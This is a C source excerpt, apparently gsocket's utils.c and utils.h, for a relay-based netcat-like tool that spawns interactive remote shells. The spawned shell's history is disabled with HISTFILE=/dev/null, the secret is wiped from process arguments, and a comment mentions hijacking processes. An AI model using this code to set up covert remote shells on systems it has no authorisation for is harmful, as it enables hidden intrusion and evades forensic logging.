fprintf(fp, "%s", l->msg);
fflush(fp);
}
void
init_vars(void)
{
GS_library_init(gopt.err_fp, /* Debug Output */ gopt.err_fp, cb_gs_log);
GS_LIST_init(&gopt.ids_peers, 0);
GS_CTX_init(&gopt.gs_ctx, &gopt.rfd, &gopt.wfd, &gopt.r, &gopt.w, &gopt.tv_now);
if (gopt.is_use_tor == 1)
GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_USE_SOCKS, NULL, 0);
/* If Server is not available yet then wait for Server. */
if (gopt.is_sock_wait != 0)
GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_SOCKWAIT, NULL, 0);
/* We can turn client _OR_ server */
if (gopt.is_client_or_server != 0)
GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_CLIENT_OR_SERVER, NULL, 0);
/* Disable encryption (-C) */
if (gopt.is_no_encryption == 1)
GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_NO_ENCRYPTION, NULL, 0);
/* This example uses blocking sockets. Set blocking. */
if (gopt.is_blocking == 1)
GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_BLOCK, NULL, 0);
if (gopt.is_multi_peer == 0)
GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_SINGLESHOT, NULL, 0);
if (gopt.is_interactive != 0)
GS_CTX_setsockopt(&gopt.gs_ctx, GS_OPT_LOW_LATENCY, NULL, 0);
// Prevent startup messages if gs-netcat is started as sub-system from
// gs-sftp or gs-mount
int is_greetings = 1;
if (getenv("GSOCKET_NO_GREETINGS") != NULL)
is_greetings = 0;
char *str = getenv("GSOCKET_ARGS");
if ((str != NULL) && (strlen(str) > 0) && (is_greetings))
GS_LOG_V("=Extra arguments: '%s'\n", str);
gopt.sec_str = GS_user_secret(&gopt.gs_ctx, gopt.sec_file, gopt.sec_str);
if (gopt.sec_str == NULL)
ERREXIT("%s\n", GS_CTX_strerror(&gopt.gs_ctx));
if (is_greetings)
GS_LOG("=Secret : %s\n", gopt.sec_str);
/* Convert a secret string to an address */
GS_ADDR_sec2addr(&gopt.gs_addr, gopt.sec_str);
GS_LOG_V("=GS Address : %s\n", GS_addr2hex(NULL, gopt.gs_addr.addr));
signal(SIGTERM, cb_sigterm);
}
void
usage(const char *params)
{
fprintf(stderr, "%s [0x%lxL] (GS v%s)\n", OPENSSL_VERSION_TEXT, OPENSSL_VERSION_NUMBER, PACKAGE_VERSION);
while (*params)
{
switch (params[0])
{
case 'L':
fprintf(stderr, " -L Logfile\n");
break;
case 'q':
fprintf(stderr, " -q Quiet. No log output\n");
break;
case 'v':
fprintf(stderr, " -v Verbose. -vv more verbose. -vvv insanely verbose\n");
break;
case 'r':
fprintf(stderr, " -r Receive-only. Terminate when no more data.\n");
break;
case 's':
fprintf(stderr, " -s Secret (e.g. password).\n");
break;
case 'k':
fprintf(stderr, " -k Read Secret from file.\n");
break;
case 'l':
fprintf(stderr, " -l Listening server [default: client]\n");
break;
case 'g':
fprintf(stderr, " -g Generate a Secret (random)\n");
break;
case 'a':
fprintf(stderr, " -a Set listen password\n");
break;
case 'w':
fprintf(stderr, " -w Wait for server to become available [client only]\n");
break;
case 'A':
fprintf(stderr, " -A Be server if no server is listening\n");
break;
case 'C':
fprintf(stderr, " -C Disable encryption\n");
break;
case 'T':
fprintf(stderr, " -T Use TOR.\n");
break;
}
params++;
}
}
static void
zap_arg(char *str)
{
int len;
len = strlen(str);
memset(str, '*', len);
}
char *
getcwdx(void)
{
#if defined(__sun) && defined(HAVE_OPEN64)
// This is solaris 10
return getcwd(NULL, GS_PATH_MAX + 1); // solaris10 segfaults if size is 0...
#else
return getcwd(NULL, 0);
#endif
}
void
do_getopt(int argc, char *argv[])
{
int c;
opterr = 0;
while ((c = getopt(argc, argv, UTILS_GETOPT_STR)) != -1)
{
switch (c)
{
case 'v':
gopt.verbosity += 1;
break;
case 'L':
gopt.is_logfile = 1;
gopt.log_fp = fopen(optarg, "a");
if (gopt.log_fp == NULL)
ERREXIT("fopen(%s): %s\n", optarg, strerror(errno));
gopt.err_fp = gopt.log_fp;
break;
case 'T':
gopt.is_use_tor = 1;
break;
case 'q':
gopt.is_quiet = 1;
break;
case 'r':
gopt.is_receive_only = 1;
break;
case 'i':
gopt.is_interactive = 1;
break;
case 'C':
gopt.is_no_encryption = 1;
break;
case 'A':
gopt.is_client_or_server = 1;
break;
case 'w':
gopt.is_sock_wait = 1;
break;
case 'a':
/* This only becomes secure when the initial GS-network connection is done by TLS
* (at least for the listening server to submit the token securely to the server so that
* the server rejects any listening attempt that uses a bad token)
*/
GS_LOG("*** WARNING *** -a not fully supported yet. Trying our best...\n");
gopt.token_str = optarg;
break;
case 'l':
gopt.flags |= GSC_FL_IS_SERVER;
break;
case 's':
gopt.sec_str = strdup(optarg);
zap_arg(optarg);
break;
case 'k':
gopt.sec_file = strdup(optarg);
zap_arg(optarg);
break;
case 'g': /* Generate a secret */
printf("%s\n", GS_gen_secret());
fflush(stdout);
exit(0);
case '3':
if (strcmp(optarg, "1337") == 0)
GS_LOG("!!Greets to 0xD1G, xaitax and the rest of https://t.me/thcorg!!\n");
}
}
}
static struct termios tios_saved;
static int is_stty_raw;
/*
* Client only: Save TTY state and set raw mode.
*/
void
stty_set_raw(void)
{
int ret;
if (is_stty_raw != 0)
return;
if (!isatty(STDIN_FILENO))
return;
struct termios tios;
ret = tcgetattr(STDIN_FILENO, &tios);
if (ret != 0)
return;
memcpy(&tios_saved, &tios, sizeof tios_saved);
// -----BEGIN ORIG-----
// tios.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);
// tios.c_oflag &= ~(OPOST);
// tios.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);
// tios.c_cflag |= (CS8);
// -----BEGIN NEW-----
// tios.c_iflag &= ~(IGNBRK | BRKINT | PARMRK | ISTRIP | INLCR | IGNCR | ICRNL | IXON);
// tios.c_oflag &= ~(OPOST);
// tios.c_lflag &= ~(ECHO | ECHONL | ICANON | ISIG | IEXTEN);
// tios.c_cflag &= ~(CSIZE | PARENB); // stty -a shows rows/columns correctly
// tios.c_cflag |= (CS8);
// -----BEGIN SSH-----
tios.c_iflag |= IGNPAR;
tios.c_iflag &= ~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF);
#ifdef IUCLC
tios.c_iflag &= ~IUCLC;
#endif
tios.c_lflag &= ~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL);
#ifdef IEXTEN
tios.c_lflag &= ~IEXTEN;
#endif
tios.c_oflag &= ~OPOST;
tios.c_cc[VMIN] = 1;
tios.c_cc[VTIME] = 0;
tcsetattr(STDIN_FILENO, TCSADRAIN, &tios);
// tcsetattr(STDIN_FILENO, TCSAFLUSH, &tios);
/* Set NON blocking */
// fcntl(STDIN_FILENO, F_SETFL, O_NONBLOCK | fcntl(STDIN_FILENO, F_GETFL, 0));
is_stty_raw = 1;
}
/*
* Restore TTY state
*/
void
stty_reset(void)
{
if (is_stty_raw == 0)
return;
is_stty_raw = 0;
DEBUGF_G("resetting TTY\n");
tcsetattr(STDIN_FILENO, TCSADRAIN, &tios_saved);
}
static const char esc_seq[] = "\r~.\r";
static int esc_pos;
/*
* In nteractive mode/Client mode check if User typed '\n~.\n' escape
* sequence.
*/
void
stty_check_esc(GS *gs, char c)
{
// DEBUGF_R("checking %d on esc_pos %d == %d\n", c, esc_pos, esc_seq[esc_pos]);
if (c == esc_seq[esc_pos])
{
esc_pos++;
if (esc_pos < sizeof esc_seq - 1)
return;
DEBUGF_M("ESC detected. EXITING...\n");
/* Hard exit */
stty_reset();
exit(0);
return;
}
esc_pos = 0;
if (c == esc_seq[0])
esc_pos = 1;
}
/*
* Return SHELL and shell name (/bin/bash , -bash)
*/
static const char *
mk_shellname(char *shell_name, ssize_t len)
{
const char *shell = getenv("SHELL");
if ((shell == NULL) || (strlen(shell) == 0))
{
shell = "/bin/sh"; // default
/* Try /bin/bash if available */
struct stat sb;
if (stat("/bin/bash", &sb) == 0)
shell = "/bin/bash";
}
char *ptr = strrchr(shell, '/');
if (ptr == NULL)
{
shell = "/bin/sh";
ptr = "/sh";
}
snprintf(shell_name, len, "-%s", ptr + 1);
return shell;
}
/*
* Create an envp list from existing env. This is a hack for cmd-execution.
* 'blacklist' contains env-vars which should not be part of the new
* envp for the shell (such as STY, a screen variable, which we must remove).
* 'addlist' contains env-vars that should be added _if_ they do not yet
* exist.
*
* If blacklist and addlist contain the same variable then that variable
* will be replaced with the one from addlist.
*/
char **
mk_env(char **blacklist, char **addlist)
{
char **env;
int total = 0;
int add_total = 0;
int i;
char *end;
int n;
for (i = 0; environ[i] != NULL; i++)
total++;
for (i = 0; addlist[i] != NULL; i++)
add_total++;
// DEBUGF("Number of environment variables: %d (calloc(%d, %zu)\n", total, total + 1, sizeof *env);
env = calloc(total + add_total + 1, sizeof *env);
/* Copy to env unless variable is in blacklist */
int ii = 0;
for (i = 0; i < total; i++)
{
char *s = environ[i];
/* Check if we want this env variable and continue if not */
end = strchr(s, '=');
if (end == NULL)
continue; // Illegal enviornment variable
/* Check if the env is in the BLACK list */
char **b = blacklist;
for (; *b != NULL; b++)
{
if (end - s > strlen(*b))
continue;
if (memcmp(s, *b, end - s) == 0)
break; // In the blacklist
}
if (*b != NULL)
continue; // Skip if in blacklist
env[ii] = strdup(s);
ii++;
}
/* Append to env unless variable is already in env */
int env_len = ii;
int should_add;
for (n = 0; addlist[n] != NULL; n++)
{
char *al_end = strchr(addlist[n], '=');
if (al_end == NULL)
continue;
should_add = 1;
for (i = 0; i < env_len; i++)
{
char *s = env[i];
end = strchr(s, '=');
if (end == NULL)
continue;
if (al_end - addlist[n] != end - s)
continue;
if (memcmp(s, addlist[n], end - s) == 0)
{
should_add = 0;
break; // Already in this list
}
}
if (should_add != 0)
{
// DEBUGF_C("Adding %s\n", addlist[n]);
env[ii] = strdup(addlist[n]);
ii++;
}
}
return env;
}
static void
setup_cmd_child(int except_fd)
{
/* Close all (but 1 end of socketpair) fd's */
int i;
for (i = 3; i < MIN(getdtablesize(), FD_SETSIZE); i++)
{
if (i == except_fd)
continue;
close(i);
}
signal(SIGCHLD, SIG_DFL);
signal(SIGPIPE, SIG_DFL);
}
#ifndef HAVE_OPENPTY
static int
openpty(int *amaster, int *aslave, void *a, void *b, void *c)
{
int master;
int slave;
master = posix_openpt(O_RDWR | O_NOCTTY);
if (master == -1)
return -1;
if (grantpt(master) != 0)
return -1;
if (unlockpt(master) != 0)
return -1;
slave = open(ptsname(master), O_RDWR | O_NOCTTY);
if (slave < 0)
return -1;
# if defined __sun || defined __hpux /* Solaris, HP-UX */
if (ioctl (slave, I_PUSH, "ptem") < 0
|| ioctl (slave, I_PUSH, "ldterm") < 0
# if defined __sun
|| ioctl (slave, I_PUSH, "ttcompat") < 0
# endif
)
{
close (slave);
return -1;
}
# endif
*amaster = master;
*aslave = slave;
return 0;
}
#endif /* HAVE_OPENPTY */
#ifndef HAVE_FORKPTY
static int
forkpty(int *fd, void *a, void *b, void *c)
{
pid_t pid;
int slave;
int master;
if (openpty(&master, &slave, NULL, NULL, NULL) == -1)
return -1;
pid = fork();
switch (pid)
{
case -1:
return -1;
case 0:
/* CHILD */
#ifdef TIOCNOTTY
ioctl(slave, TIOCNOTTY, NULL);
#endif
setsid();
close(master);
dup2(slave, 0);
dup2(slave, 1);
dup2(slave, 2);
*fd = slave;
return 0; // CHILD
default:
/* PARENT */
close(slave);
*fd = master;
return pid;
}
return -1; // NOT REACHED
}
#endif /* HAVE_FORKPTY */
int
pty_cmd(const char *cmd, pid_t *pidptr)
{
pid_t pid;
int fd;
pid = forkpty(&fd, NULL, NULL, NULL);
XASSERT(pid >= 0, "Error: forkpty(): %s\n", strerror(errno));
if (pid == 0)
{
/* Our own forkpty() (solaris 10) returns the actual slave TTY.
* We can not open /dev/tty on solaris10 and use the fd that
* our own forkpty() returns. Any other OS needs to open
* /dev/tty to get correct fd for child's tty.
*/
#ifdef HAVE_FORKPTY
fd = open("/dev/tty", O_NOCTTY | O_RDWR);
#endif
/* HERE: Child */
setup_cmd_child(fd);
/* Find out default ENV (just in case they do not exist in current
* env-variable such as when started during bootup
*/
const char *shell; // e.g. /bin/bash
char shell_name[64]; // e.g. -bash
if (cmd != NULL)
{
shell = "/bin/sh";
} else {
shell = mk_shellname(shell_name, sizeof shell_name);
}
char shell_env[64]; // e.g. SHELL=/bin/bash
snprintf(shell_env, sizeof shell_env, "SHELL=%s", shell);
char home_env[128];
snprintf(home_env, sizeof home_env, "HOME=/root"); // default
struct passwd *pwd;
pwd = getpwuid(getuid());
if (pwd != NULL)
snprintf(home_env, sizeof home_env, "HOME=%s", pwd->pw_dir);
/* Remove some environment variables:
* STY = Confuses screen if gs-netcat is started from within screen (OSX)
* GSOCKET_ARGS = Otherwise any further gs-netcat command would
* execute with same (hidden) commands as the current shell.
* HISTFILE= does not work on oh-my-zsh (it sets it again)
*/
char *env_blacklist[] = {"STY", "GSOCKET_ARGS", "HISTFILE", NULL};
char *env_addlist[] = {shell_env, "TERM=xterm-256color", "HISTFILE=/dev/null", home_env, NULL};
char **envp = mk_env(env_blacklist, env_addlist);
if (cmd != NULL)
{
execle("/bin/sh", cmd, "-c", cmd, NULL, envp);
ERREXIT("exec(%s) failed: %s\n", cmd, strerror(errno));
}
const char *args = "-il"; // bash, fish, zsh
if (strcmp(shell_name, "-sh") == 0)
args = "-i"; // solaris 10 /bin/sh does not like -l
if (strcmp(shell_name, "-csh") == 0)
execle(shell, shell_name, NULL, envp); // csh (fbsd) without any arguments
execle(shell, shell_name, args, NULL, envp);
ERREXIT("execlp(%s) failed: %s\n", shell, strerror(errno));
}
/* HERE: Parent */
if (pidptr)
*pidptr = pid;
return fd;
}
/*
* Spawn a cmd and return fd.
*/
int
fd_cmd(const char *cmd, pid_t *pidptr)
{
pid_t pid;
int fds[2];
int ret;
if (gopt.is_interactive)
{
return pty_cmd(cmd, pidptr);
}
ret = socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
if (ret != 0)
ERREXIT("pipe(): %s\n", strerror(errno)); /* FATAL */
pid = fork();
if (pid < 0)
ERREXIT("fork(): %s\n", strerror(errno)); /* FATAL */
if (pid == 0)
{
/* HERE: Child process */
setup_cmd_child(fds[0]);
dup2(fds[0], STDOUT_FILENO);
dup2(fds[0], STDERR_FILENO);
dup2(fds[0], STDIN_FILENO);
#ifdef __CYGWIN__
// Cygwin throws "Connection reset by peer" on socketpair when system
// is under heavy load if we execl() immediately.
// It appears that perhaps the child executes to quickly. Any pending data
// on stdout is then lost and the parent gets a read-error on the
// socketpair-fd (Connection reset by peer). The only work around
// is to add a 'sleep 0.2' to any executed command. Happens very
// rarely. It can easily be reproduced by running test 7.1 with these
// two lines:
// write(fds[0], "Hello World\n", 12);
// exit(0);
#endif
execl("/bin/sh", cmd, "-c", cmd, NULL);
ERREXIT("exec(%s) failed: %s\n", cmd, strerror(errno));
}
/* HERE: Parent process */
if (pidptr)
*pidptr = pid;
close(fds[0]);
return fds[1];
}
/*
* Complete the connect() call
* Return -1 on waiting.
* Return -2 on fatal.
*/
int
fd_net_connect(GS_SELECT_CTX *ctx, int fd, uint32_t ip, uint16_t port)
{
struct sockaddr_in addr;
int ret;
memset(&addr, 0, sizeof addr);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = ip;
addr.sin_port = port;
ret = connect(fd, (struct sockaddr *)&addr, sizeof addr);
DEBUGF("connect(%s:%d, fd = %d): %d (errno = %d, %s)\n", int_ntoa(ip), ntohs(port), fd, ret, errno, strerror(errno));
if (ret != 0)
{
if ((errno == EINPROGRESS) || (errno == EAGAIN) || (errno == EINTR))
{
XFD_SET(fd, ctx->wfd);
return -1;
}
if (errno != EISCONN)
{
DEBUGF_R("ERROR %s\n", strerror(errno));
// gs_set_error(gsocket->ctx, "connect(%s:%d)", int_ntoa(ip), ntohs(port));
return -2;
}
}
/* HERRE: ret == 0 or errno == EISCONN (Socket is already connected) */
DEBUGF_G("connect(fd = %d) SUCCESS (errno = %d)\n", fd, errno);
return 0;
}
int
fd_net_accept(int listen_fd)
{
int sox;
int ret;
sox = accept(listen_fd, NULL, NULL);
DEBUGF_B("accept(%d) == %d\n", listen_fd, sox);
if (sox < 0)
return -2;
ret = fcntl(sox, F_SETFL, O_NONBLOCK | fcntl(sox, F_GETFL, 0));
if (ret != 0)
return -2;
return sox;
}
/*
* Create a listening fd on port.
*/
int
fd_net_listen(int fd, uint16_t *port, int type)
{
struct sockaddr_in addr;
int ret;
int is_random_port = 0;
if ((port == NULL) || (*port == 0))
is_random_port = 1;
setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &(int){1}, sizeof (int));
memset(&addr, 0, sizeof addr);
addr.sin_family = AF_INET;
if (is_random_port == 0)
{
addr.sin_port = *port;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
} else {
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
}
ret = bind(fd, (struct sockaddr *)&addr, sizeof addr);
if (ret < 0)
return ret;
if (is_random_port)
{
struct sockaddr_in paddr;
socklen_t plen = sizeof addr;
ret = getsockname(fd, (struct sockaddr *)&paddr, &plen);
*port = paddr.sin_port;
}
if (type == SOCK_STREAM)
{
// HERE: TCP socket (needs listen()
ret = listen(fd, 1);
if (ret != 0)
return -1;
}
return 0;
}
/*
* Return fd on success.
* Return < 0 on fata error.
*/
int
fd_new_socket(int type)
{
int fd;
int ret;
fd = socket(PF_INET, type, 0);
if (fd < 0)
return -2;
DEBUGF_W("socket() == %d\n", fd);
ret = fcntl(fd, F_SETFL, O_NONBLOCK | fcntl(fd, F_GETFL, 0));
if (ret != 0)
return -2;
return fd;
}
void
cmd_ping(struct _peer *p)
{
if (gopt.is_want_ping != 0)
return;
gopt.is_want_ping = 1;
GS_SELECT_FD_SET_W(p->gs);
}
void
cmd_pwd(struct _peer *p)
{
if (gopt.is_want_pwd != 0)
return;
gopt.is_want_pwd = 1;
GS_SELECT_FD_SET_W(p->gs);
}
/*
* Duplicate the process. Parent to check if child dies by monitoring stdin
* socketpair to child and parent also monitors its own stdin to
* check if calling process has died.
*
* If child dies then fork again.
* This function is different to GS_daemonize
* -> ppid is not 1 (not becoming a daemon).
* -> not using wait() to check for child's death
* -> This parent does not become a new session leader (no setsid()).
*
* This function is used when gsocket hijacks a process and needs to spawn
* a gs-netcat process. The gs-netcat process needs to monitor when the calling
* app exits (and this can only be done by monitoring when its own stdin becomes
* unavailable).
*
* This funciton loops forever and never returns.
*/
void
gs_watchdog(void)
{
pid_t pid;
while (1) // LOOP FOREVER
{
int fds[2];
socketpair(AF_UNIX, SOCK_STREAM, 0, fds);
pid = fork();
XASSERT(pid >= 0, "fork(): %s\n", strerror(errno));
if (pid == 0)
{
// CHILD
close(fds[1]);
dup2(fds[0], STDIN_FILENO);
return; // CHILD continues to execute
}
// PARENT:
close(fds[0]);
// fdsp[1] is a socket to the child. We can detect when it dies....
fd_set rfds;
FD_ZERO(&rfds);
int n;
while (1)
{
FD_SET(STDIN_FILENO, &rfds);
FD_SET(fds[1], &rfds);
n = select(fds[1] + 1, &rfds, NULL, NULL, NULL);
if (n < 0)
{
if (errno == EINTR)
continue;
exit(EX_BADSELECT); // FATAL
}
// If parent dies then die immediately (this closes fds[0] and all child will die)
if (FD_ISSET(STDIN_FILENO, &rfds))
{
// DEBUGF_Y("watchdog STDIN is set. EOF (parent died)?\n");
exit(0);
}
if (FD_ISSET(fds[1], &rfds))
{
// Oops. Child died. Restart.
close(fds[1]);
sleep(5); // Grace period to prevent exessive restarts...
break;
}
sleep(1); // Grace period (not needed, unless select() goes haywire...)
}
}
// NOT REACHED
}
gsocket-1.4.33/tools/utils.h 0000664 0000000 0000000 00000002447 14072625040 0015721 0 ustar 00root root 0000000 0000000
#ifndef __GSNC_UTILS_H__
#define __GSNC_UTILS_H__ 1
void init_defaults(int *argcptr, char **argvptr[]);
void init_vars(void);
GS *gs_create(void);
void do_getopt(int argc, char *argv[]);
void usage(const char *params);
int fd_cmd(const char *cmd, pid_t *pidptr);
int fd_new_socket(int type);
int fd_net_listen(int fd, uint16_t *port, int type);
int fd_net_accept(int listen_fd);
int fd_net_connect(GS_SELECT_CTX *ctx, int fd, uint32_t ip, uint16_t port);
void stty_set_raw(void);
void stty_reset(void);
void stty_check_esc(GS *gs, char c);
char **mk_env(char **blacklist, char **addlist);
void get_winsize(void);
void cmd_ping(struct _peer *p);
void cmd_pwd(struct _peer *p);
// void sanitze_name_to_string(uint8_t *str, size_t len);
void sanitize_fname_to_str(uint8_t *str, size_t len);
void format_bps(char *buf, size_t size, int64_t bytes);
char *getcwdx(void);
void gs_watchdog(void);
// #define VLOG(a...) do{if (gopt.log_fp != NULL){ fprintf(gopt.log_fp, a); fflush(gopt.log_fp); } }while(0)
// Log with Timestamp + Peer-ID
#define GS_LOG_TSP(_p, _a...) do{ \
GS_LOG("%s [ID=%d] ", GS_logtime(), _p->id); \
GS_LOG(_a); \
}while(0)
/* hack to set rows/columns */
#define GS_STTY_INIT_HACK "stty rows %d columns %d\r"
#define UTILS_GETOPT_STR "3:vigqwACTrlSDL:a:s:k:p:d:e:"
#endif /* !__GSNC_UTILS_H__ */